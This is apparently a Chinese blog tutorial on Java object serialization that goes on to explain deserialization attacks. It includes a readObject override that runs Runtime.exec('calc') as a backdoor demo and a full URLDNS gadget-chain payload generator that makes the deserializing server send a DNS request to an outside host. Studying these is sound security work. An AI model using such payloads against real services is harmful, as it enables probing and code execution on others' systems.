• JAVA如何序列化和反序列化对象(序列化的原理)
  • 发布于 2个月前
  • 369 热度
    0 评论
01.什么是序列化与反序列化
其实java的序列化说白了就是将一个对象转换成字节的过程,那么同理,java的反序列化也就是将一个字节转换会一个对象的过程,这样的操作会使得对象在不同的机器之间进行传递变得简单,我们在一台机器上将某个对象序列化之后那么只需要传递序列化之后的字节给另外一台机器,那么另外一台机器只需要进行对应的反序列操作就可以获得传递过来的对象。

下面来演示一下使用io流自带的接口进行序列化与反序列化:
1.首先定义一个Person类用于序列化的操作
import java.io.Serializable;
//必须继承Serializable接口才可被序列化
public class Person implements Serializable {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public Person() {
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}
2.正常情况下,我们通过以下代码进行实例化,然后打印出这个对象,应该会得到以下的结果
     public static void main(String[] args) {
         Person person = new Person("aa",22);
         System.out.println(person);
     }

 3.那么现在我们用以下代码来对这个对象进行序列化,可以看到,对象的信息会被序列化的写入ser.bin文件中
     public static void serialize(Object obj) throws IOException{
         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
         oos.writeObject(obj);
     }
4.那么接下来我们只要在另外一个类中,实现反序列化的代码,就可以很轻松的获取到原来想要传递的对象
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois  = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);
    }
}
 tips:
1.必须实现Serializable接口的类才可被序列化
2.静态成员变量是不能被序列化的,因为静态成员变量是属于类中的,而不是属于被实例化对象

3.transient标识的对象成员变量是不可以被序列化的


那么为什么会产生安全问题呢?
只要服务端反序列化了数据,客户端传递类的readObject中的代码就会自动执行,给予攻击者在服务器上运行代码的能力。

如何利用?
首先,我们需要找到一个入口类,这个类需要重写了readObject,同时最好重写了一个常见的函数这样我们可以进一步的去找调用链,最后我们需要去找到一个执行类(rce,ssrf,写文件等等)。

1.我们知道,在反序列化的过程中,会调用ObjectInputStream中的readObject方面,那么如果我们在类中就重写了这个方法,反序列化时调用的这个方法是不是就会调用我们重写的方法,这时候只需要把后门代码放在里面,就可以达到攻击的目的。重写代码如下:
     private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
         ois.defaultReadObject();
         Runtime.getRuntime().exec("calc");
     }
2.如果入口类参数中包含可控类,该类有危险方法,readObject时就可以去调用,比方说Map,他可以是Map<Object,Object>这种类型,同时Map又继承了Serializable接口,那么就会可以被利用。
3.入口类参数中包含可控类,该类又调用了其他有危险方法的类,就可以在readObject时去调用。

Java反射机制
通常,我们在利用反序列化漏洞的时候会运用到java的反射机制,java的反射机制具体自己可以网上查找相关的资料。
总结一下:
1.反射的作用:让java具有动态性
2.修改已有对象的属性
3.动态的生成对象
4.动态的调用方法
5.操作内部类和私有方法
在反序列化漏洞中的应用:
1.定制需要的对象
2.通过invoke调用除了同名函数以外的函数

3.通过Class类创建对象,引入不能序列化的类


简单使用:
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectionTest {
    public static void main(String[] args) throws Exception {
        Person person = new Person();
        Class c = person.getClass();
        //反射就是操作Class

        //从原型class里面实例化对象
        //c.newInstance(); 无参,无法使用
        Constructor personconstructor =  c.getConstructor(String.class,int.class);
        Person p = (Person) personconstructor.newInstance("abc",22);
        System.out.println(p);
        //获取类里面的属性
        //c.getFields();只能打印public的属性
        //c.getDeclaredFields()都可以打印
        Field[] personfields =  c.getDeclaredFields();
        for (Field f:personfields){
            System.out.println(f);
        }
        //获取单个
        Field namefield = c.getField("name");
        namefield.set(p,"testedit");//需要一个示例
        System.out.println(p);
        //修改私有变量
        Field agefield = c.getDeclaredField("age");
        agefield.setAccessible(true);//允许访问私有变量
        agefield.set(p,33);
        System.out.println(p);
        //调用类里面的方法
        Method[] personMethods = c.getDeclaredMethods();
        for(Method m:personMethods){
            System.out.println(m);
        }
        //获取单个方法
        Method actionmethod = c.getMethod("action",String.class);
        actionmethod.invoke(p,"testaction");//调用触发
    }
}

URL-DNS链
首先,我们想要利用URL-DNS链,我们可以先来看一下URL类中是否存在readObject方法,但是我们可以很明显的发现,URL类中的该方法,没有调用危险函数,那么是不是就不能够利用了呢?

其实,在URL类中,存在一个hashcode函数,这个函数会发起DNS请求,那么我们该怎么操作可以使得在反序列化时让他调用这个函数呢,我们可以通过利用hashMap中的hash方法,hashMap在反序列化时会调用readObject方法,该方法的Key值会调用Key.hashcode方法,那么只要将URL类作为hashMap的key,我们就可以成功利用,但是实际上,我们需要利用java的反射机制,对某些参数进行修改,因为在put的过程中,如果hashcode的值为-1那么也会调用hashcode方法,那么我们就无法分辨,到底是在哪个缓解出发了反序列化漏洞,具体的利用代码如下。
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
//        Person person = new Person("aa",22);
//        System.out.println(person);
//        serialize(person);
        HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();

        //一开始不能发起请求        
      //把url对象的hashcode改成不是-1
        URL url = new URL("https://www.duidaima.com");
        Class c = url.getClass();
        Field hashcode = c.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url,1);
        hashMap.put(url,1);
        //现在可以把hashcode给改回来
        hashcode.set(url,-1);
        serialize(hashMap);
    }
}

用户评论